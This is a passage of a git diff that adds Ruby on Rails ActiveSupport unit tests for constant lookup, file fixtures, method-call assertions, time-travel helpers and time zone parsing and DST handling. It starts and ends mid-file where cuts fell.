+    assert_equal :random, ActiveSupport::TestCase.test_order
+    assert_equal :random, self.class.test_order
+    assert_equal :random, Class.new(ActiveSupport::TestCase).test_order
+  end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
new file mode 100644
index 0000000000..37b7822950
--- /dev/null
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "dependencies_test_helpers"
+
+class Foo; end
+class Bar < Foo
+  def index; end
+  def self.index; end
+end
+module FooBar; end
+
+class ConstantLookupTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::ConstantLookup
+  include DependenciesTestHelpers
+
+  def find_foo(name)
+    self.class.determine_constant_from_test_name(name) do |constant|
+      Class === constant && constant < Foo
+    end
+  end
+
+  def find_module(name)
+    self.class.determine_constant_from_test_name(name) do |constant|
+      Module === constant
+    end
+  end
+
+  def test_find_bar_from_foo
+    assert_equal Bar, find_foo("Bar")
+    assert_equal Bar, find_foo("Bar::index")
+    assert_equal Bar, find_foo("Bar::index::authenticated")
+    assert_equal Bar, find_foo("BarTest")
+    assert_equal Bar, find_foo("BarTest::index")
+    assert_equal Bar, find_foo("BarTest::index::authenticated")
+  end
+
+  def test_find_module
+    assert_equal FooBar, find_module("FooBar")
+    assert_equal FooBar, find_module("FooBar::index")
+    assert_equal FooBar, find_module("FooBar::index::authenticated")
+    assert_equal FooBar, find_module("FooBarTest")
+    assert_equal FooBar, find_module("FooBarTest::index")
+    assert_equal FooBar, find_module("FooBarTest::index::authenticated")
+  end
+
+  def test_returns_nil_when_cant_find_foo
+    assert_nil find_foo("DoesntExist")
+    assert_nil find_foo("DoesntExistTest")
+    assert_nil find_foo("DoesntExist::Nadda")
+    assert_nil find_foo("DoesntExist::Nadda::Nope")
+    assert_nil find_foo("DoesntExist::Nadda::Nope::NotHere")
+  end
+
+  def test_returns_nil_when_cant_find_module
+    assert_nil find_module("DoesntExist")
+    assert_nil find_module("DoesntExistTest")
+    assert_nil find_module("DoesntExist::Nadda")
+    assert_nil find_module("DoesntExist::Nadda::Nope")
+    assert_nil find_module("DoesntExist::Nadda::Nope::NotHere")
+  end
+
+  def test_does_not_swallow_exception_on_no_method_error
+    assert_raises(NoMethodError) {
+      with_autoloading_fixtures {
+        self.class.determine_constant_from_test_name("RaisesNoMethodError")
+      }
+    }
+  end
+
+  def test_does_not_swallow_exception_on_no_name_error_within_constant
+    assert_raises(NameError) do
+      with_autoloading_fixtures do
+        self.class.determine_constant_from_test_name("RaisesNameError")
+      end
+    end
+  end
+end
diff --git a/activesupport/test/testing/file_fixtures_test.rb b/activesupport/test/testing/file_fixtures_test.rb
new file mode 100644
index 0000000000..35be8f5206
--- /dev/null
+++ b/activesupport/test/testing/file_fixtures_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+require "pathname"
+
+class FileFixturesTest < ActiveSupport::TestCase
+  self.file_fixture_path = File.expand_path("../file_fixtures", __dir__)
+
+  test "#file_fixture returns Pathname to file fixture" do
+    path = file_fixture("sample.txt")
+    assert_kind_of Pathname, path
+    assert_match %r{.*/test/file_fixtures/sample\.txt$}, path.to_s
+  end
+
+  test "raises an exception when the fixture file does not exist" do
+    e = assert_raises(ArgumentError) do
+      file_fixture("nope")
+    end
+    assert_match(/^the directory '[^']+test\/file_fixtures' does not contain a file named 'nope'$/, e.message)
+  end
+end
+
+class FileFixturesPathnameDirectoryTest < ActiveSupport::TestCase
+  self.file_fixture_path = Pathname.new(File.expand_path("../file_fixtures", __dir__))
+
+  test "#file_fixture_path returns Pathname to file fixture" do
+    path = file_fixture("sample.txt")
+    assert_kind_of Pathname, path
+    assert_match %r{.*/test/file_fixtures/sample\.txt$}, path.to_s
+  end
+end
diff --git a/activesupport/test/testing/method_call_assertions_test.rb b/activesupport/test/testing/method_call_assertions_test.rb
new file mode 100644
index 0000000000..4af000bb7e
--- /dev/null
+++ b/activesupport/test/testing/method_call_assertions_test.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/method_call_assertions"
+
+class MethodCallAssertionsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  class Level
+    def increment; 1; end
+    def decrement; end
+    def <<(arg); end
+  end
+
+  setup do
+    @object = Level.new
+  end
+
+  def test_assert_called_with_defaults_to_expect_once
+    assert_called @object, :increment do
+      @object.increment
+    end
+  end
+
+  def test_assert_called_more_than_once
+    assert_called(@object, :increment, times: 2) do
+      @object.increment
+      @object.increment
+    end
+  end
+
+  def test_assert_called_method_with_arguments
+    assert_called(@object, :<<) do
+      @object << 2
+    end
+  end
+
+  def test_assert_called_returns
+    assert_called(@object, :increment, returns: 10) do
+      assert_equal 10, @object.increment
+    end
+  end
+
+  def test_assert_called_failure
+    error = assert_raises(Minitest::Assertion) do
+      assert_called(@object, :increment) do
+        # Call nothing...
+      end
+    end
+
+    assert_equal "Expected increment to be called 1 times, but was called 0 times.\nExpected: 1\n  Actual: 0", error.message
+  end
+
+  def test_assert_called_with_message
+    error = assert_raises(Minitest::Assertion) do
+      assert_called(@object, :increment, "dang it") do
+        # Call nothing...
+      end
+    end
+
+    assert_match(/dang it.\nExpected increment/, error.message)
+  end
+
+  def test_assert_called_with
+    assert_called_with(@object, :increment) do
+      @object.increment
+    end
+  end
+
+  def test_assert_called_with_arguments
+    assert_called_with(@object, :<<, [ 2 ]) do
+      @object << 2
+    end
+  end
+
+  def test_assert_called_with_failure
+    assert_raises(MockExpectationError) do
+      assert_called_with(@object, :<<, [ 4567 ]) do
+        @object << 2
+      end
+    end
+  end
+
+  def test_assert_called_with_returns
+    assert_called_with(@object, :increment, returns: 1) do
+      @object.increment
+    end
+  end
+
+  def test_assert_called_with_multiple_expected_arguments
+    assert_called_with(@object, :<<, [ [ 1 ], [ 2 ] ]) do
+      @object << 1
+      @object << 2
+    end
+  end
+
+  def test_assert_not_called
+    assert_not_called(@object, :decrement) do
+      @object.increment
+    end
+  end
+
+  def test_assert_not_called_failure
+    error = assert_raises(Minitest::Assertion) do
+      assert_not_called(@object, :increment) do
+        @object.increment
+      end
+    end
+
+    assert_equal "Expected increment to be called 0 times, but was called 1 times.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_stub_any_instance
+    stub_any_instance(Level) do |instance|
+      assert_equal instance, Level.new
+    end
+  end
+
+  def test_stub_any_instance_with_instance
+    stub_any_instance(Level, instance: @object) do |instance|
+      assert_equal @object, instance
+      assert_equal instance, Level.new
+    end
+  end
+end
diff --git a/activesupport/test/time_travel_test.rb b/activesupport/test/time_travel_test.rb
new file mode 100644
index 0000000000..4172c18ead
--- /dev/null
+++ b/activesupport/test/time_travel_test.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/date_time"
+require "active_support/core_ext/numeric/time"
+
+class TimeTravelTest < ActiveSupport::TestCase
+  class TimeSubclass < ::Time; end
+  class DateSubclass < ::Date; end
+  class DateTimeSubclass < ::DateTime; end
+
+  def test_time_helper_travel
+    Time.stub(:now, Time.now) do
+      begin
+        expected_time = Time.now + 1.day
+        travel 1.day
+
+        assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+        assert_equal expected_time.to_date, Date.today
+        assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+      ensure
+        travel_back
+      end
+    end
+  end
+
+  def test_time_helper_travel_with_block
+    Time.stub(:now, Time.now) do
+      expected_time = Time.now + 1.day
+
+      travel 1.day do
+        assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+        assert_equal expected_time.to_date, Date.today
+        assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+      end
+
+      assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db)
+      assert_not_equal expected_time.to_date, Date.today
+      assert_not_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db)
+    end
+  end
+
+  def test_time_helper_travel_to
+    Time.stub(:now, Time.now) do
+      begin
+        expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+        travel_to expected_time
+
+        assert_equal expected_time, Time.now
+        assert_equal Date.new(2004, 11, 24), Date.today
+        assert_equal expected_time.to_datetime, DateTime.now
+      ensure
+        travel_back
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_block
+    Time.stub(:now, Time.now) do
+      expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+      travel_to expected_time do
+        assert_equal expected_time, Time.now
+        assert_equal Date.new(2004, 11, 24), Date.today
+        assert_equal expected_time.to_datetime, DateTime.now
+      end
+
+      assert_not_equal expected_time, Time.now
+      assert_not_equal Date.new(2004, 11, 24), Date.today
+      assert_not_equal expected_time.to_datetime, DateTime.now
+    end
+  end
+
+  def test_time_helper_travel_back
+    Time.stub(:now, Time.now) do
+      begin
+        expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+        travel_to expected_time
+        assert_equal expected_time, Time.now
+        assert_equal Date.new(2004, 11, 24), Date.today
+        assert_equal expected_time.to_datetime, DateTime.now
+        travel_back
+
+        assert_not_equal expected_time, Time.now
+        assert_not_equal Date.new(2004, 11, 24), Date.today
+        assert_not_equal expected_time.to_datetime, DateTime.now
+      ensure
+        travel_back
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_nested_calls_with_blocks
+    Time.stub(:now, Time.now) do
+      outer_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+      inner_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+      travel_to outer_expected_time do
+        e = assert_raises(RuntimeError) do
+          travel_to(inner_expected_time) do
+            #noop
+          end
+        end
+        assert_match(/Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing\./, e.message)
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_nested_calls
+    Time.stub(:now, Time.now) do
+      outer_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+      inner_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+      travel_to outer_expected_time do
+        assert_nothing_raised do
+          travel_to(inner_expected_time)
+
+          assert_equal inner_expected_time, Time.now
+        end
+      end
+    end
+  end
+
+  def test_time_helper_travel_to_with_subsequent_calls
+    Time.stub(:now, Time.now) do
+      begin
+        initial_expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+        subsequent_expected_time = Time.new(2004, 10, 24, 01, 04, 44)
+        assert_nothing_raised do
+          travel_to initial_expected_time
+          travel_to subsequent_expected_time
+
+          assert_equal subsequent_expected_time, Time.now
+
+          travel_back
+        end
+      ensure
+        travel_back
+      end
+    end
+  end
+
+  def test_travel_to_will_reset_the_usec_to_avoid_mysql_rouding
+    Time.stub(:now, Time.now) do
+      travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do
+        assert_equal 50, Time.now.sec
+        assert_equal 0, Time.now.usec
+        assert_equal 50, DateTime.now.sec
+        assert_equal 0, DateTime.now.usec
+      end
+    end
+  end
+
+  def test_time_helper_travel_with_time_subclass
+    assert_equal TimeSubclass, TimeSubclass.now.class
+    assert_equal DateSubclass, DateSubclass.today.class
+    assert_equal DateTimeSubclass, DateTimeSubclass.now.class
+
+    travel 1.day do
+      assert_equal TimeSubclass, TimeSubclass.now.class
+      assert_equal DateSubclass, DateSubclass.today.class
+      assert_equal DateTimeSubclass, DateTimeSubclass.now.class
+      assert_equal Time.now.to_s, TimeSubclass.now.to_s
+      assert_equal Date.today.to_s, DateSubclass.today.to_s
+      assert_equal DateTime.now.to_s, DateTimeSubclass.now.to_s
+    end
+  end
+
+  def test_time_helper_freeze_time
+    expected_time = Time.now
+    freeze_time
+    sleep(1)
+
+    assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+  ensure
+    travel_back
+  end
+
+  def test_time_helper_freeze_time_with_block
+    expected_time = Time.now
+
+    freeze_time do
+      sleep(1)
+
+      assert_equal expected_time.to_s(:db), Time.now.to_s(:db)
+    end
+
+    assert_operator expected_time.to_s(:db), :<, Time.now.to_s(:db)
+  end
+end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
new file mode 100644
index 0000000000..acb0ecd226
--- /dev/null
+++ b/activesupport/test/time_zone_test.rb
@@ -0,0 +1,738 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "time_zone_test_helpers"
+require "yaml"
+
+class TimeZoneTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def test_utc_to_local
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
+    assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
+  end
+
+  def test_local_to_utc
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500
+    assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400
+  end
+
+  def test_period_for_local
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
+  end
+
+  ActiveSupport::TimeZone::MAPPING.each_key do |name|
+    define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
+      zone = ActiveSupport::TimeZone[name]
+      assert_respond_to zone.tzinfo, :period_for_local
+    end
+  end
+
+  def test_from_integer_to_map
+    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-28800] # PST
+  end
+
+  def test_from_duration_to_map
+    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-480.minutes] # PST
+  end
+
+  ActiveSupport::TimeZone.all.each do |zone|
+    name = zone.name.downcase.gsub(/[^a-z]/, "_")
+    define_method("test_from_#{name}_to_map") do
+      assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name]
+    end
+
+    define_method("test_utc_offset_for_#{name}") do
+      period = zone.tzinfo.current_period
+      assert_equal period.utc_offset, zone.utc_offset
+    end
+  end
+
+  def test_now
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"].dup
+      def zone.time_now; Time.local(2000); end
+      assert_instance_of ActiveSupport::TimeWithZone, zone.now
+      assert_equal Time.utc(2000, 1, 1, 5), zone.now.utc
+      assert_equal Time.utc(2000), zone.now.time
+      assert_equal zone, zone.now.time_zone
+    end
+  end
+
+  def test_now_enforces_spring_dst_rules
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"].dup
+      def zone.time_now
+        Time.local(2006, 4, 2, 2) # 2AM springs forward to 3AM
+      end
+
+      assert_equal Time.utc(2006, 4, 2, 3), zone.now.time
+      assert_equal true, zone.now.dst?
+    end
+  end
+
+  def test_now_enforces_fall_dst_rules
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"].dup
+      def zone.time_now
+        Time.at(1162098000) # equivalent to 1AM DST
+      end
+      assert_equal Time.utc(2006, 10, 29, 1), zone.now.time
+      assert_equal true, zone.now.dst?
+    end
+  end
+
+  def test_unknown_timezones_delegation_to_tzinfo
+    zone = ActiveSupport::TimeZone["America/Montevideo"]
+    assert_equal ActiveSupport::TimeZone, zone.class
+    assert_equal zone.object_id, ActiveSupport::TimeZone["America/Montevideo"].object_id
+    assert_equal Time.utc(2010, 1, 31, 22), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
+    assert_equal Time.utc(2010, 3, 31, 21), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
+  end
+
+  def test_today
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].today
+  end
+
+  def test_tomorrow
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 3), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].tomorrow
+  end
+
+  def test_yesterday
+    travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 30), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
+    travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
+    travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
+    travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+    assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone["Eastern Time (US & Canada)"].yesterday
+  end
+
+  def test_travel_to_a_date
+    with_env_tz do
+      Time.use_zone("Hawaii") do
+        date = Date.new(2014, 2, 18)
+        time = date.midnight
+
+        travel_to date do
+          assert_equal date, Date.current
+          assert_equal time, Time.current
+        end
+      end
+    end
+  end
+
+  def test_travel_to_travels_back_and_reraises_if_the_block_raises
+    ts = Time.current - 1.second
+
+    travel_to ts do
+      raise
+    end
+
+    flunk # ensure travel_to re-raises
+  rescue
+    assert_not_equal ts, Time.current
+  end
+
+  def test_local
+    time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
+    assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
+    assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
+  end
+
+  def test_local_with_old_date
+    time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45)
+    assert_equal [45, 30, 15, 5, 2, 1850], time.to_a[0, 6]
+    assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
+  end
+
+  def test_local_enforces_spring_dst_rules
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.local(2006, 4, 2, 1, 59, 59) # 1 second before DST start
+    assert_equal Time.utc(2006, 4, 2, 1, 59, 59), twz.time
+    assert_equal Time.utc(2006, 4, 2, 6, 59, 59), twz.utc
+    assert_equal false, twz.dst?
+    assert_equal "EST", twz.zone
+    twz2 = zone.local(2006, 4, 2, 2) # 2AM does not exist because at 2AM, time springs forward to 3AM
+    assert_equal Time.utc(2006, 4, 2, 3), twz2.time # twz is created for 3AM
+    assert_equal Time.utc(2006, 4, 2, 7), twz2.utc
+    assert_equal true, twz2.dst?
+    assert_equal "EDT", twz2.zone
+    twz3 = zone.local(2006, 4, 2, 2, 30) # 2:30AM does not exist because at 2AM, time springs forward to 3AM
+    assert_equal Time.utc(2006, 4, 2, 3, 30), twz3.time # twz is created for 3:30AM
+    assert_equal Time.utc(2006, 4, 2, 7, 30), twz3.utc
+    assert_equal true, twz3.dst?
+    assert_equal "EDT", twz3.zone
+  end
+
+  def test_local_enforces_fall_dst_rules
+    # 1AM during fall DST transition is ambiguous, it could be either DST or non-DST 1AM
+    # Mirroring Time.local behavior, this method selects the DST time
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.local(2006, 10, 29, 1)
+    assert_equal Time.utc(2006, 10, 29, 1), twz.time
+    assert_equal Time.utc(2006, 10, 29, 5), twz.utc
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+  end
+
+  def test_at
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    secs = 946684800.0
+    twz = zone.at(secs)
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+    assert_equal secs, twz.to_f
+  end
+
+  def test_at_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    secs = DateTime.civil(1850).to_f
+    twz = zone.at(secs)
+    assert_equal [1850, 1, 1, 0], [twz.utc.year, twz.utc.mon, twz.utc.day, twz.utc.hour]
+    assert_equal zone, twz.time_zone
+    assert_equal secs, twz.to_f
+  end
+
+  def test_iso8601
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T19:00:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_fractional_seconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T19:00:00.750")
+    assert_equal 750000, twz.time.usec
+    assert_equal Time.utc(1999, 12, 31, 19, 0, 0 + Rational(3, 4)), twz.time
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0 + Rational(3, 4)), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_zone
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T14:00:00-10:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_invalid_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.iso8601("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_iso8601_with_missing_time_components
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31")
+    assert_equal Time.utc(1999, 12, 31, 0, 0, 0), twz.time
+    assert_equal Time.utc(1999, 12, 31, 5, 0, 0), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1883-12-31T19:00:00")
+    assert_equal [0, 0, 19, 31, 12, 1883], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_far_future_date_with_time_zone_offset_in_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("2050-12-31T19:00:00-10:00") # i.e., 2050-01-01 05:00:00 UTC
+    assert_equal [0, 0, 0, 1, 1, 2051], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_should_not_black_out_system_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.iso8601("2012-03-25T03:29:00")
+      assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_iso8601_should_black_out_app_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.iso8601("2012-03-11T02:29:00")
+      assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_iso8601_doesnt_use_local_dst
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["UTC"]
+      twz = zone.iso8601("2013-03-10T02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+    end
+  end
+
+  def test_iso8601_handles_dst_jump
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.iso8601("2013-03-10T02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+    end
+  end
+
+  def test_parse
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.parse("1999-12-31 19:00:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_parse_string_with_timezone
+    (-11..13).each do |timezone_offset|
+      zone = ActiveSupport::TimeZone[timezone_offset]
+      twz = zone.parse("1999-12-31 19:00:00")
+      assert_equal twz, zone.parse(twz.to_s)
+    end
+  end
+
+  def test_parse_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.parse("1883-12-31 19:00:00")
+    assert_equal [0, 0, 19, 31, 12, 1883], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_parse_far_future_date_with_time_zone_offset_in_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.parse("2050-12-31 19:00:00 -10:00") # i.e., 2050-01-01 05:00:00 UTC
+    assert_equal [0, 0, 0, 1, 1, 2051], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_parse_returns_nil_when_string_without_date_information_is_passed_in
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_nil zone.parse("foobar")
+    assert_nil zone.parse("   ")
+  end
+
+  def test_parse_with_incomplete_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    zone.stub(:now, zone.local(1999, 12, 31)) do
+      twz = zone.parse("19:00:00")
+      assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    end
+  end
+
+  def test_parse_with_day_omitted
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      assert_equal Time.local(2000, 2, 1), zone.parse("Feb", Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 1), zone.parse("Feb 2005", Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 2), zone.parse("2 Feb 2005", Time.local(2000, 1, 1))
+    end
+  end
+
+  def test_parse_should_not_black_out_system_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.parse("2012-03-25 03:29:00")
+      assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_parse_should_black_out_app_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.parse("2012-03-11 02:29:00")
+      assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_parse_with_missing_time_components
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    zone.stub(:now, zone.local(1999, 12, 31, 12, 59, 59)) do
+      twz = zone.parse("2012-12-01")
+      assert_equal Time.utc(2012, 12, 1), twz.time
+    end
+  end
+
+  def test_parse_with_javascript_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.parse("Mon May 28 2012 00:00:00 GMT-0700 (PDT)")
+    assert_equal Time.utc(2012, 5, 28, 7, 0, 0), twz.utc
+  end
+
+  def test_parse_doesnt_use_local_dst
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["UTC"]
+      twz = zone.parse("2013-03-10 02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+    end
+  end
+
+  def test_parse_handles_dst_jump
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.parse("2013-03-10 02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+    end
+  end
+
+  def test_parse_with_invalid_date
+    zone = ActiveSupport::TimeZone["UTC"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.parse("9000")
+    end
+
+    assert_equal "argument out of range", exception.message
+  end
+
+  def test_rfc3339
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("1999-12-31T14:00:00-10:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_with_fractional_seconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T14:00:00.750-10:00")
+    assert_equal 750000, twz.time.usec
+    assert_equal Time.utc(1999, 12, 31, 19, 0, 0 + Rational(3, 4)), twz.time
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0 + Rational(3, 4)), twz.utc
